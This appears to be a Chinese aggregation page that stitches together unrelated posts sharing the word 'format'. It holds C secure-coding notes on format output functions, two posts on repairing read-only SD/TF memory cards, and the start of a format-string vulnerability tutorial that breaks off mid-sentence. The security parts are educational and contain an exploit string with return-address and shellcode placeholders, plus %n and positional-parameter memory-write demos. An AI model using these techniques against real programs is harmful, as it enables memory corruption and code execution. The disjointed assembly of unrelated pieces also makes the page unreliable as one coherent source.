精华内容
下载资源
问答
  • C和C++安全编码笔记:格式化输出
    千次阅读
    2020-06-13 10:39:01

    C标准中定义了一些可以接受可变数量参数的格式化输出参数,参数中包括一个格式字符串。printf()和sprintf()都是格式化输出函数的例子。格式化输出函数是由一个格式字符串和可变数目的参数构成的。在效果上,格式化字符串提供了一组可以由格式化输出函数解释执行的指令。因此,用户可以通过控制格式字符串的内容来控制格式化输出函数的执行。格式化输出函数是一个变参函数,也就是说它接受的参数个数是可变的。变参函数在C语言中实现的局限性导致格式化输出函数的使用中容易产生漏洞。

    6.1 变参函数:<stdarg.h>头文件声明了一种类型并定义了四个宏,用于传递一组参数列表,在编译时被调用的函数对这些参数的数量和类型是不了解的。变参函数是通过使用一个部分参数列表后跟一个省略号进行声明的省略号必须出现在参数列表的最后。参数列表的终止条件是函数的实现者和使用者之间的一个契约

    int average(int first, ...)
    {
    	va_list marker;
    	// 在使用变量marker之前,首先必须调用va_start()对参数列表进行初始化
    	// 定参first允许vs_start()决定第一个变参的位置
    	va_start(marker, first);
    
    	int count = 0, sum = 0, i = first;
    	while (i != -1) {
    		sum += i;
    		count++;
    		// va_arg()需要一个已初始化的va_list和下一个参数的类型.
    		// 这个宏可以根据类型的大小返回下一个参数,并且相应地递增参数指针
    		i = va_arg(marker, int);
    	}
    
    	// 在函数返回之前,调用va_end()来执行任何必要的清理工作
    	// 若在返回前未调用va_end()宏,则行为是未定义的
    	va_end(marker);
    	return (sum ? (sum / count) : 0);
    }
    
    void test_format_output_variable_parameter_function()
    {
    	int ret = average(3, 5, 8, -1);
    	fprintf(stdout, "average: %d\n", ret);
    }

    更多变参函数的介绍可参考:https://blog.csdn.net/fengbingchun/article/details/78483471

    6.2 格式化输出函数:C标准中定义的格式化输出函数如下所示:

    (1).fprintf():按照格式字符串的内容将输出写入流中。流、格式字符串和变参列表一起作为参数提供给函数。

    (2).printf():等同于fprintf(),除了前者假定输出流为stdout外。

    (3).sprintf():等同于fprintf(),但是输出不是写入流而是写入数组中。C标准规定在写入的字符末尾必须添加一个空字符。

    (4).snprintf():等同于spirntf(),但是它指定了可写入字符的最大值n。当n非零时,输出的字符超过第n-1个的部分会被舍弃而不会写入数组中。并且,在写入数组的字符末尾会添加一个空字符。

    (5).vfprintf()、vprintf()、vsprintf()、vsnprintf():分别对应于fprintf()、printf()、sprintf()、snprintf(),只是它们将后者的变参列表换成了va_list类型的参数。当参数列表是在运行时决定时,这些函数非常有用。

    格式字符串:是由普通字符(ordinary character)(包括%)和转换规范(conversion specification)构成的字符序列。普通字符被原封不动地复制到输出流中。转换规范根据与实参对应的转换指示符对其进行转换,然后将结果写入输出流中。转换规范通常以”%”开始按照从左向右的顺序解释。大多数转换规范都需要单个参数,但有时也可能需要多个或者完全不需要。程序员必须根据指定的格式提供相应个数的参数。当参数多于转换规范时,多余的将被忽略,而当参数不足时,则结果是未定义的

    一个转换规范是由可选域(标志、宽度、精度以及长度修饰符)和必须域(转换指示符)按照下面的格式组成的:

    %[标志][宽度][.精度][{长度修饰符}] 转换指示符

    例如,对转换规范%-10.8ld来说,-是标志位,10代表宽度,8代表精度,字面l是长度修饰符,d是转换指示符。这个转换规范将一个long int型的参数按照十进制格式打印,在一个最小宽度为10个字符的域中保持最少8位左对齐。每一个域都是代表特定格式选项的单个字符或数字。最简单的转换规范仅仅包含一个”%”和一个转换指示符(例如%s)。

    转换指示符:用来指示所应用的转换类型。它是唯一必须的格式域,出现在任意可选格式域之后。下表中列举了C标准中的一些转换指示符:

    标志:标志位用来调整输出和打印的符号、空白、小数点、八进制和十六进制前缀等。一个格式规范中可能包含一个或多个标志。

    宽度:是一个用来指定输出字符的最小个数的十进制非负整数。如果输出的字符个数比指定的宽度小,就用空白字符补足。如果指定的宽度较小也不会引起输出域的截断。如果转换的结果比域宽大,则域会被扩展以容纳转换结果。如果使用星号(*)来指定宽度,则宽度将由参数列表中的一个int型的值提供。在参数列表中,宽度参数必须置于被格式化的值之前。

    精度:是用来指示打印字符个数、小数位或者有效数字个数的非负十进制整数。与宽度域不同,精度域可能会引起输出的截断或浮点值的舍入。如果精度值被设为0并且被转换值也为0,则不会输出任何字符。如果精度域是一个星号(*),那么它的值就由参数列表中的一个int参数提供。在参数列表中,精度参数必须置于被格式化的值之前。

    长度修饰符:指定了参数的大小。下表列举了长度修饰符及其对应的含义。如果使用了表中未出现的长度修饰符和转换指示符的组合,则会导致未定义的行为:

    6.3 对格式化输出函数的漏洞利用:当使用的格式字符串(或部分字符串)是由用户或其他非信任来源提供的时候,就有可能出现格式字符串漏洞。

    缓冲区溢出:向字符数组中写入数据的格式化输出函数(如sprintf())会假定存在任意长度的缓冲区,从而导致它们易于造成缓冲区溢出。

    void test_format_output_buffer_overflow()
    {
    {
    	char* user = "abcd"; // 用户提供的字符串(可能是恶意的数据)
    	char buffer[512];
    	// 用户提供的字符串写入一个固定长度的缓冲区
    	// 任何长度大于495字节的字符串都会导致越界写(512字节-16个字符字节-1个空字节)
    	sprintf(buffer, "Wrong command: %s\n", user);
    	fprintf(stdout, "buffer: %s\n", buffer);
    }
    
    {
    	char* user = "%497d\x3c\xd3\xff\xbf<nops><shellcode>";
    	fprintf(stdout, "user: %s\n", user);
    	char outbuf[512], buffer[512];
    
    	sprintf(buffer, "ERR Wrong command: %.400s", user);
    	fprintf(stdout, "buffer: %s\n", buffer);
    	// 格式规范%497d指示函数sprintf()从栈中读出一个假的参数并向缓冲区中写入497个字符,包括格式字符串中的普通字符
    	// 在内,现在写入的字符总数已经超过了outbuf的长度4个字节
    	// 用户输入可被操纵用于覆写返回地址,也就是拿恶意格式字符串参数中提供的利用代码的地址(0xbfffd33c)去覆写该
    	// 地址.在当前函数退出时,控制权将以与栈溢出攻击相同的方式转移给漏洞利用代码
    	sprintf(outbuf, buffer);
    	fprintf(stdout, "outbuf: %s\n", outbuf);
    }
    }

    输出流:将结果输出到流而不是输出到文件中的格式化输出函数(例如printf())也可能会导致格式字符串漏洞。

    使程序崩溃:格式字符串漏洞通常是在程序崩溃的时候才被发现。在大多数UNIX系统中,存取无效的指针会引起进程收到SIGSEGV信号。除非能够捕捉并处理它,否则程序将会非正常终止并导致核心转储(dump core)。与之类似,在Windows中读取一个未映射的地址将会导致系统的一般保护错误(general protection fault)并导致程序非正常终止。

    查看栈内容:攻击者还可以利用格式化输出函数来检查内存的内容。这类信息往往被用于进一步的漏洞利用。

    查看内存内容:攻击者可以使用一个”显示指定地址的内存”的格式规范来查看任意地址的内存。例如,转换指示符%s显示参数指针所指定的地址的内存,将它作为一个ASCII字符串处理,直至遇到一个空字符。如果攻击者能够通过操作这个参数指针来”引用”一个特定的地址,那么转换指示符%s将会输出该位置的内存内容。

    覆写内存:

    void test_format_output_overwrite_memory()
    {
    { // 向各种类型和大小的整数变量写入输出的字符数
    	char c;
    	short s;
    	int i;
    	long l;
    	long long ll;
    
    	// 最初转换指示符%n是用来帮助排列格式化输出字符串的. 它将字符数目成功地输出到以参数的形式
    	// 提供的整数地址中
    	printf("hello %hhn.", &c);
    	printf("hello %hn.", &s);
    	printf("hello %n.", &i);
    	printf("hello %ln.", &l);
    	printf("hello %lln.", &ll);
    	fprintf(stdout, "c: %d, s: %d, i: %d, l: %ld, ll: %lld\n", c, s, i, l, ll); // 6
    }
    
    {
    	// 格式化输出函数写入的字符个数是由格式字符串决定的.如果攻击者能够控制格式字符串,那么他就能通过使用
    	// 具有具体的宽度或精度的转换规范来控制写入的字符个数
    	// 每一个格式字符串都耗用两个参数,第一个参数是转换指示符%u所使用的整数值,输出的字符个数(一个整数值)
    	// 则被写入由第二个参数指定的地址中
    	int i;
    	printf("%10u%n", 1, &i); fprintf(stdout, "i: %d\n", i); // 10
    	printf("%100u%n", 1, &i); fprintf(stdout, "i: %d\n", i); // 100
    }
    
    {
    	// 在对格式化输出函数的单次调用中,还可以执行多次写
    	int i, j, m, n;
    	// 第一个%16u%n字符序列向指定地址中写入的值是16,但第二个%16u%n则写32字节,因为计数器没有被重置
    	printf("%16u%n%16u%n%32u%n%64u%n", 1, &i, 1, &j, 1, &m, 1, &n);
    	fprintf(stdout, "i: %d, j: %d, m: %d, n: %d\n", i, j, m, n); // 16, 32, 64, 128
    }
    }

    国际化:出于国际化的考虑,格式字符串和消息文本通常被移动到由程序在运行时打开的外部目录或文件中。格式字符串是必要的,因为不同的区域设置之间,参数的顺序可能会有所不同。这也意味着使用目录的程序必须传递格式字符串的变量。因为这是格式化输出函数合法和必要的使用,所以在格式字符串不是文本的情况下诊断可能会导致过度误报。攻击者可以通过修改这些文件的内容从而改动程序的格式和字符串的值。因此,应该对这些文件加以保护,以防止其内容被非法改变。同时,我们还必须防止攻击者使用自己的消息文件来替换正常的文件。这可以通过设置查找路径、环境变量或逻辑名字来限制存取。

    宽字符格式字符串漏洞:宽字符格式化输出函数易招致格式字符串和缓冲区溢出漏洞,它的利用方式与窄字符格式化输出函数类似,即使在从ASCII转换为Unicode字符串的特殊情况下。

    6.4 栈随机化:许多Linux变体(例如Red Hat、Debian和OpenBSD)中包含某种栈随机化机制。这种机制使得很难预测栈上信息的位置,包括返回地址和自动变量的位置,这是通过向栈中插入随机的间隙实现的。

    阻碍栈随机化:尽管栈随机化加大了漏洞利用的难道,但它并不能完全阻止漏洞利用的发生。

    直接参数访问:C标准不支持直接参数访问。转换规范%n$中的参数数字n必须是这样的一个整数值:其值必须介于1和提供给函数调用的参数的最大数目之间。

    void test_format_output_direct_parameter_access()
    {
    	// 在包含%n$形式的转换规范的格式字符串中,参数列表中的数字式参数可视需要被从格式字符串中引用多次, 其中n是一个
    	// 1~{NL_ARGMAX}范围内的十进制整数,它指定了参数的位置
    	// 展示了%n$形式的规范转换是如果被用于格式字符串漏洞利用的
    	int i, j, k;
    	// 第一个转换规范%4$5u获得第四个参数(即常量5),并将输出格式为无符号的十进制整数,宽度为5.第二个转换规范%3$n,
    	// 将当前输出计数器的值(5)写到第三个参数(&i)所指定的地址
    	printf("%4$5u%3$n%5$5u%2$n%6$5u%1$n\n", &k, &j, &i, 5, 6, 7);
    	fprintf(stdout, "i = %d, j = %d, k = %d\n", i, j, k); // i=5, j=10, k=15
    }

    6.5 缓解策略:

    排除用户输入的格式字符串。

    静态内容的动态使用:有一个消除格式字符串漏洞的常见建议是禁止动态格式字符串的使用。如果所有格式字符串都是静态的,那么格式字符串漏洞将不复存在(除非目标字符数组没有得到足够的限制而造成缓冲区溢出)。然而,这种方案不切实际,因为动态格式字符串已被现有代码广泛使用。动态格式策略的一个可选替代品是对静态内容的动态使用。

    void test_format_output_dynamic_format_string()
    {
    	int x = 2, y = 3;
    	static char format[256] = "%d * %d = ";
    
    	strcat(format, "%d\n");
    	printf(format, x, y, x * y); // 2 * 3 = 6
    }

    限制字节写入:当被误用的时候,格式化输出函数容易造成格式字符串漏洞和缓冲区溢出漏洞。缓冲区溢出可以通过严格控制这些函数写入的字节数来避免。写入的字节数可以通过指定一个精度域作为%s转换规范的一部分进行控制。

    void test_format_output_limit_bytes_number()
    {
    	char buffer[512];
    	char* user = "abc";
    	sprintf(buffer, "Wrong command: %s\n", user); // 不推荐
    	// 精度域指定了针对%s转换所要写入的最大字节数
    	sprintf(buffer, "Wrong command: %.495s\n", user); // 推荐
    }

    另一种方式是使用更安全版本的格式化输出库函数,它们不容易产生缓冲区溢出问题(例如,采用snprintf()和vsnprintf()代替sprintf()和vsprintf())。这些函数指定了写入的最大字节数(包括末尾的空字节在内)。

    C11附录K边界检查接口:C11标准添加了一个新的可选的规范性附录,它包括更安全版本的格式化输出函数。这些具有增强的安全性的函数包括fprintf_s()、printf_s()、snprintf_s()、sprintf_s()、vfprintf_s()、vprintf_s()、vsnprintf_s()、vsprintf_s()以及它们的宽字符版本。这些格式化输出函数有着不带_s后缀的原型对应物,但sprintf_s()和vsprintf_s()除外,二者对应的原型是snprintf()和vsnprintf()。这些安全性函数与不带_s后缀的对应物的区别在于,如果格式字符串为空指针,或者如果格式字符串中包含指示符%n(无论是否被标志、域、宽度或精度修改),或者如果在这些函数中对应一个%s指示符的参数是空指针的话,那么它们会将其视作运行时约束错误(runtime constraint error)。如果在格式字符串中后续出现的字符%n不被解释为一个%n指示符,例如,如果整个格式字符串是%%n时,就不构成运行时约束违例(runtime constraint violation)。尽管这些函数是对现有C标准函数的改进,即可以防止写内存,但它们无法防止格式字符串漏洞,这些漏洞使程序崩溃,或被用于查看内存内容。因此,当使用这些函数时,有必要像在使用不带_s后缀的格式化输出函数一样保持警惕。

    iostream与stdio:iostream库提供了通过流来实现输入、输出的功能。格式化输出使用iostream依照中缀二元插入操作符”<<”进行实现。左操作数是待插入数据的流,右操作数则是要插入的值。格式化和标记化(tokenized)输入是通过提取操作符”>>”实现的。标准的C I/O流stdin、stdout和stderr被cin、cout和cerr所取代。除了提供类型安全和可扩展性之外,iostream库在安全性方面做得要比stdio好得多。

    编译器检查:GNU C编译器(GCC)提供了对格式化输出函数调用进行附加检测的标志。Visual C++中没有这样的选项。GCC的标志包括-Wformat、-Wformat-nonliteral以及-Wformat-security。

    FormatGuard:是一个编译器修改器,通过插入代码实现动态检测,并且拒绝那些参数个数与转换规范所指定个数不匹配的格式化输出函数调用。

    静态二进制分析:按照如下标准,可以通过分析二进制映像来发现格式化字符串漏洞:栈修正是否比最小值还小?格式化字符串是静态的还是可变的?

    为了消除格式字符串漏洞,推荐在可能的情况下使用iostream代替stdio,在没有条件的情况下则要尽量使用静态格式字符串。当需要动态字符串的时候,最关键的是不要将来自非信任源的输入合并到格式字符串中。尽量使用C11附录K”边界检查接口”中定义的格式化输出函数来代替不带_s后缀的格式化输出函数,如果你的实现支持它们的话。

    以上代码段的完整code见:GitHub/Messy_Test

    GitHubhttps://github.com/fengbingchun/Messy_Test

    更多相关内容
  • 这几天很郁闷,买的32G TF老出问题,三星的标,知道是不是正品,标称C10,且说是不是真的三星和真的C10,反正测试一下容量倒是真的,价格么也比较亲民,好像是69块? 哎,可惜呀,好景不长,坏了,变只读了。...

     这几天很郁闷,买的32G TF卡老出问题,三星的标,不知道是不是正品,标称C10,且不说是不是真的三星和真的C10,反正测试一下容量倒是真的,价格么也比较亲民,好像是69块?   哎,可惜呀,好景不长,坏了,变只读了。 这卡一直放老婆手机里用,上周突然手机不正常了,各种怪异毛病,一开始没怀疑到卡上,以为是软件出问题了,于是刷机,特么的酷派7296刷个机好慢啊,进度条从1滚到100好几遍都没停,劳资烦了就把线拔了,于是数据全没了不说,耳朵疼了两天,好不容易救砖刷回来了,还是那些毛病,后来发现只要有软件安装、更新后,过一会儿就会出问题,不是闪退就是出错,拿出卡来检测,果然是卡坏了。

        手机TF/SD卡(手机内存卡比小拇指指甲还小的卡microSD)PC机可以认出该卡,可以识别其容量并可以读取卡中的文件,但无法写入文件,也无法格式化!尝试了以下方法无效:
    (1)使用windows格式化提示“windows无法完成格式化”。
    (2)在MS-DOS命令下输入"CHKDSKH:/F",完成度0%,停止。
    (3)USBboot,用HDD格式化,可以顺利进行,没有报错,·但是完成后,卡内的文件依然还在,问题依旧。
    (4)SDFormatter,提示卡“你选择的存储媒介处于禁止写入状态”,需说明一下,TF卡上确认没有写保护开关,读卡器上也没有。
    (5)使用数码相机进行格式化和低级格式化,进行到百分五六十自动退出。卡内的文件依然还在,问题依旧。
    (6)windows下删除卡中的文件,看上去可以正常删除,没有报错提示,但是卡拔出重新插入,卡中的文件依然还在,问题依旧。使用360之类的文件粉碎机,选择防止再生等删除选项时,放一个晚上,仍然提示“在进行中”。
        补充一下:使用了多个不同的读卡器装上该卡,并用其他TF卡做对比,并使用别的电脑上试,以及不同的操作系统上。并且使用多部不同的手机试。结果是问题依旧。 
        几天来各种方法都试过了,tf卡变只读的情况恐怕不只我一个遇到,网上各种方法都无效,卡里有数据,照片啥的,也不好去要保修,郁闷中就拆了读卡器: 

    SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。
      很便宜的读卡器,当年5块在手机铺子买的,速度也很慢,便宜又便宜的道理嘛。  偶然发现卡座有根针是酱紫滴:
    SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。
    介是为啥捏?  于是翻找tf卡的datasheet,找到这么一部分内容:
    SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。  
    原来sd卡和tf卡还有个spi模式,这spi模式用的针脚少了两个,方便与单片机啥的通讯,难道卡座上这根针的设计另有蹊跷?  我猜想如果加一个外部滑 块,拨动滑块压下这根针,使它不能与tf卡接触,那读卡器是不是能进入到spi模式呢?要知道在电脑上用spi模式访问tf卡好像还没多少人试过,结果也 不得而知,我就当吃螃蟹的人吧,哈哈,说干就干:
    SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。 SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。 SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。 SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。 SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。
      看到了吧,只要剪块透明胶带,粘住tf卡第1个脚,就能强制进入spi模式啦! 在此之前,插电脑上显示的是卡上文件内容,因为分过区,容量比原始的少,(点名字可下载)usboot也无法正常操作,现在插上,电脑直接提示未格式化,让我格式化卡,我去,上usboot软件:
        SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。 SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。 SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。 SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。 SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。 SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。

    结果如何,大家猜猜? 结果当然是修好了。
    SD内存卡禁止写入只读怎么办?另类SPI模式修复坏卡。       
    手中有坏卡的,赶紧试试吧,这方法真的简单,但我不保证所有读卡器都支持spi模式,我的两个读卡器就只有这个可以,本本带的读卡器也不行,修好坏卡的童鞋,下面评论里留言,没修好的可能是硬件损坏得太彻底了。

     

     
     
    展开全文
  • 今天给大家带来TF存储卡格式化没有顺利完成”问题解决的方法,让您轻松解决问题。 今天在使用TF卡的时候总是出现无法格式化的现象,知道大家有没有遇到过,本来想用TF做一个U盘启动系统的,结果怎么也无法格式化...

    今天给大家带来TF存储卡“格式化没有顺利完成”问题解决的方法,让您轻松解决问题。        今天在使用TF卡的时候总是出现无法格式化的现象,不知道大家有没有遇到过,本来想用TF做一个U盘启动系统的,结果怎么也无法格式化TF,研究了老半天才终于解决了,下面为大家分享下TF无法格式化的解决方法,希望对大家有所帮助!

    具体方法如下:

    解决方法1:1

    借用读卡器将TF卡连接电脑,通过资源管理器对TF卡进行格式化时系统弹出“格式化没有顺利完成”。

    916246e97bca51912084a926eb8a5906.png2

    使用DiskGenius工具进行格式化也无济于事,程序弹出以下错误提示:

    写扇区错误! 磁盘: RD2:MassStorageDevice(2GB) 起始于 101 扇区 共 126 个扇区。

    写扇区错误! 分区: 未格式化(F:) 起始于 101 扇区 共 126 个扇区。

    e038e65ef001f3ebb972099afa66557f.png

    解决方法2:1

    当我们将TF插入读卡器连接电脑后,打开电脑“资源管理器”,我们可以看到系统并没有识别内存卡,难道读卡器不行么?

    我们打开控制面板-管理工具-计算机管理-磁盘管理,我们来看看,这里我们可以看到有个1.86G的可移动磁盘,这就是我们的TF卡拉。

    9864068383497a4ec207c21624bf7f65.png

    ec5829a8bd234f064d74e099447bf36d.png2

    将鼠标放置TF卡区域右击鼠标我们可以看到大部分选项都是灰色的,没办法选取,连“删除卷”都没法使用,新建也没有,格式化又无法完成。

    30ad232556256edc56b57a3fdf2d0303.png

    e5a2a8247c660fde48a41ec20126fec8.png

    e62229132a5ce4bb5fba6ae4fafe34e5.png

    76c8b2e902ab82b6623175c62a4cb430.png

    afbfb6008d9aebb197a64561e0f18a48.png

    解决方法3:1

    百度搜索usboot软件,解压usboot,然后运行usboot.exe应用程序,此时弹出usboot界面,选择将要做成启动盘的U盘(有多个移动设备时一定要看清楚,这里千万小心,不要选成硬盘,以免造成不必要的损失),小编插了一个移动硬盘、一个读卡器和内置硬盘,所以显示3个。

    a0aaa0fff41184b48b8c897eceb81ddb.png

    41ac7cf8cf903af2b34f9c6d41dedfed.png2

    如果不清楚可以在控制面板-管理工具-计算机管理-磁盘管理中找到我们的TF卡,然后右击选择属性,再查看“驱动程序”即可查出TF卡是哪个了。

    123ffd62373cbd24aece64ad1ee15bc5.png3

    选定TF卡之后我们就按照提示“请在下面选择工作模式”选择工作模式,这里我们选择的是“引导处理”。

    7ae845fb044a836e0ed9f4c5bd9230fc.png

    54a605988457ae25ad64b6d1fcb154a9.png4

    接下来我们来开始尝试对TF卡进行重新引导,期间会有几次确认操作的提示,我们确认即会继续执行啦。

    无法打开“Mass Storage Device USB Device”

    a6289e9543951be4c83e3f79f1f78eef.png

    9c14c2cad7468b1d1755620952216283.png5

    借用PE来尝试重新格式TF卡,下载“通用PE工具”,然后运行程序,下面选择“制作U盘启动”,这里我们可以看到程序识别到了我们的TF卡2G,我们直接下一步制作试试。

    0901864de3f11cc7e88169f584bc5aaf.png

    1d501adcf391b88b843c696cb72f5e90.png

    54405a1bd83d59036e7e13c4441f64c7.png

    bc79af06610348f104f90c34e7d7d7b8.png6

    我们可以看到程序开始删除U盘,然后开始格式化U盘,这里可能需要点时间,如果这里完成了就基本没问题啦。

    可悲, 写入失败。。。。。。。。

    5bb8f8a6153ba69308f09fa37c5411f7.png

    8631a0a86322297631eda907822c4219.png

    fd82e2360fb88375edff0d4459b560e7.png7

    再换SDFormatter进行尝试,程序提示“你所选择的存储媒介处于禁止写入状态”,好吧竟然无法写入了。。。。。看来这卡是报废了。。。。。。。

    eb4d225180747c112c1e62de85ffb0ba.png

    2a6c4de33d58f7911c91a8ac614e9a45.png

    以上就是TF存储卡“格式化没有顺利完成”问题解决的方法教程,希望本文中能帮您解决问题。

    展开全文
  • 二、C/C++格式化字符串漏洞 C/C++中的格式化字符串漏洞会造成如下两方面问题: 任意地址内存读取数据,造成内存信息泄露 修改任意地址内存的数据,如修改栈RET值从而造成恶意代码执行、修改栈条件变量值从而变更...

    0x00 前言

    From WIKIPEDIA:

    Uncontrolled format string is a type of software vulnerability discovered around 1989 that can be used in security exploits. Originally thought harmless, format string exploits can be used to crash a program or to execute harmful code. The problem stems from the use of unchecked user input as the format string parameter in certain C functions that perform formatting, such as printf(). A malicious user may use the %s and %x format tokens, among others, to print data from the call stack or possibly other locations in memory. One may also write arbitrary data to arbitrary locations using the %n format token, which commands printf() and similar functions to write the number of bytes formatted to an address stored on the stack.

    典型的漏洞利用结合了这些技术来控制进程的指令指针(IP)。然而格式化字符串的问题不仅仅出现于C中,虽然利用的原理和方式不同。

    总之,当程序员通过格式化字符串函数输出包含用户提供的数据的字符串时,格式字符串错误将需要得到关注 。

    本文将从格式化字符串起源的C/C++说起,最后讲解Python 中的格式化字符串问题。

    0x01 C/C++格式化字符串漏洞

    一、格式化字符串用法

    C/C++中格式化字符串原型如下(本文以printf函数进行解析)

    int printf ( const char * format, ... );

    一般用法如下案例所示:

    printf ("The magic number is: %d", 1911);

    第一个参数为格式化字符串,将根据该参数声明的格式进行输出,格式化字符串中占位符一般以%开头,用法为:

    %[flags][width][.precision][length]specifier

    各部分详情可见:

     1 specifier

    specifier参数是最重要的主体,其定义了对应参数的类型或说明,例如上述案例表示该位置对应一个整数类型,参数为后续的第一个参数变量。其他的specifier还有:

    specifier

    Output

    Example

    or i

    Signed decimal integer

    392

    u

    Unsigned decimal integer

    7235

    o

    Unsigned octal

    610

    x

    Unsigned hexadecimal integer

    7fa

    X

    Unsigned hexadecimal integer (uppercase)

    7FA

    f

    Decimal floating point, lowercase

    392.65

    F

    Decimal floating point, uppercase

    392.65

    e

    Scientific notation (mantissa/exponent), lowercase

    3.9265e+2

    E

    Scientific notation (mantissa/exponent), uppercase

    3.9265E+2

    g

    Use the shortest representation: %e or %f

    392.65

    G

    Use the shortest representation: %E or %F

    392.65

    a

    Hexadecimal floating point, lowercase

    -0xc.90fep-2

    A

    Hexadecimal floating point, uppercase

    -0XC.90FEP-2

    c

    Character

    a

    s

    String of characters

    sample

    p

    Pointer address

    b8000000

    n

    Nothing printed.The corresponding argument must be a pointer to a signed int.The number of characters written so far is stored in the pointed location.

     

    %

    A % followed by another % character will write a single % to the stream.

    %

    特別地:

    %n:功能上表已经说明,即将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,这是后面进行任意地址写的根本原因

    %s:显示给定地址处的字符串。所以使用该specifier时,需要提供一个指针类型的参数,指针指向地址处的字符串就会被格式化到字符串中

    2 flags

    flags格式化字符有如下几个:

    flags

    description

    -

    Left-justify within the given field width; Right justification is the default (see width sub-specifier).

    +

    Forces to preceed the result with a plus or minus sign (+ or -) even for positive numbers. By default, only negative numbers are preceded with a - sign.

    (space)

    If no sign is going to be written, a blank space is inserted before the value.

    #

    Used with o, x or X specifiers the value is preceeded with 0, 0x or 0X respectively for values different than zero.
    Used with a, A, e, E, f, F, g or G it forces the written output to contain a decimal point even if no more digits follow. By default, if no digits follow, no decimal point is written.

    0

    Left-pads the number with zeroes (0) instead of spaces when padding is specified (see width sub-specifier).

    特别地,在linux下%{数字}$ specifier,表示以specifier指示的类型格式化指定位置的变量。该flags为后面实现任意地址读提供了方便。

    例如:

    #include <stdio.h>
    
    void func()
    {
        printf("Hello World!");
    }
    
    int main(void)
    {
            int first = 11111;
            int second = 22222;
            func();
            printf ("First:%2$d;   Second:%1$d;   \n", first,second);
            return 0;
    }

    格式化字符串中参数的顺序被调换了

    3 width

    表示要打印数据的宽度:

    width

    description

    (number)

    Minimum number of characters to be printed. If the value to be printed is shorter than this number, the result is padded with blank spaces. The value is not truncated even if the result is larger.

    *

    The width is not specified in the format string, but as an additional integer value argument preceding the argument that has to be formatted.

    例如:

    #include <stdio.h>
    
    int main(void)
    {
            int data = 256;
            printf ("%20d", data);
            return 0;
    }

    输出如下所示,因为指定了要输出数据的宽度为20,但是256宽度为3,所以%20d,宽度指示需要增加17个空格,即下述绿色部分。

    4 precision

    用于设置显示数据的精度,对于整数作用于数量级,对于浮点数用于小数点的精度

    .precision

    description

    .number

    For integer specifiers (d, i, o, u, x, X): precision specifies the minimum number of digits to be written. If the value to be written is shorter than this number, the result is padded with leading zeros. The value is not truncated even if the result is longer. A precision of 0 means that no character is written for the value 0.
    For a, A, e, E, f and F specifiers: this is the number of digits to be printed after the decimal point (by default, this is 6).
    For g and G specifiers: This is the maximum number of significant digits to be printed.
    For s: this is the maximum number of characters to be printed. By default all characters are printed until the ending null character is encountered.
    If the period is specified without an explicit value for precision, 0 is assumed.

    .*

    The precision is not specified in the format string, but as an additional integer value argument preceding the argument that has to be formatted.

    简单的例子:

    #include <stdio.h>
    
    int main(void)
    {
            double d = 123.45678;
            printf("%20.10f\n", d);
    }

    输出如下:

    因为精度设置了10,所以小数点后全部包含并通过0补齐10个精度要求

    5 Length

    格式化字符串中Length表示解析对应变量的长度。限定符有如下,给出了对应的Length作用于各种数据类型时如何解释。例如hh作用于%d时,仅解析%d对应数据的1个字节。所有Length如下所示:

     

    specifiers

    length

    d i

    u o x X

    f F e E g G a A

    c

    s

    p

    n

    (none)

    int

    unsigned int

    double

    int

    char*

    void*

    int*

    hh

    signed char

    unsigned char

        

    signed char*

    h

    short int

    unsigned short int

        

    short int*

    l

    long int

    unsigned long int

     

    wint_t

    wchar_t*

     

    long int*

    ll

    long long int

    unsigned long long int

        

    long long int*

    j

    intmax_t

    uintmax_t

        

    intmax_t*

    z

    size_t

    size_t

        

    size_t*

    t

    ptrdiff_t

    ptrdiff_t

        

    ptrdiff_t*

    L

      

    long double

        

    例如:

    #include <stdio.h>
    
    int main(void)
    {
            int data = 256;
            printf ("%hhd   \n", data);
            return 0;
    }

    变量data的二进制为:0000 0001 0000 0000

    格式化字符串中使用的Length为hh,所以表示仅解析%d对应变量的一个字节,所以data最终显示为0。

    这为任意地址写的漏洞提供了更加精确写的目的。

     

    二、C/C++格式化字符串漏洞

    C/C++中的格式化字符串漏洞会造成如下两方面问题:

    1. 任意地址内存读取数据,造成内存信息泄露
    2. 修改任意地址内存的数据,如修改栈RET值从而造成恶意代码执行、修改栈条件变量值从而变更程序执行流程等等

    下面以printf函数作为讲解原理的对象,其他格式化字符串函数原理类似

    1 环境说明

    1、操作OS类型:linux 64bit  

    2、为便于分析和讲解关闭ASLR地址随机化

    3、编译器:g++,编译二进制时不加入其它编译选项。g++ -g xxx.cpp –o xxx使用该方式编译即可

    2 printf函数执行方式

    以下面一个例子进行研究:

    #include <stdio.h>
    
    int main(void)
    
    {
            getchar();
            int data1 = 0x0100;
            char str2[12] = "hello world";
            int data3 = 0xFFF3;
            int data4 = 0xFFF4;
            int data5 = 0xFFF5;
            int data6 = 0xFFF6;
            int data7 = 0xFFF7;
            int data8 = 0xFFF8;
            printf("  output %hhd,%s,%d,%d,%d,%d,%d,%d\n",data1,str2,data3,data4,data5,data6,data7,data8);
            return 0;
    }

    通过g++ -g formatPrinciple.cpp –o formatPrinciple编译上述 

    在调用printf处设置断点,此时程序状态如下所示:

    上图通过在windows下远程调在64位linux环境下的上述程序,可以看出该环境下函数调用时参数的传递方式:

    a、参数1-6分别使用寄存器保存:rdi,rsi,rdx,rcx,r8,r9。(本文不分析float情形,不影响原理分析)。特别的rdx保存的是str2字符串的地址,rdx值指向真实存储字符串的地址

    b、超过6个以外的参数,从最后的参数压入程序栈指导第七个参数,和__cdecl 的入栈方式相同。(注:栈向低地址方向生长,因为data8先入栈,所以data8的地址在高处)

    上述程序最终输出为:

    具体的对应图为:

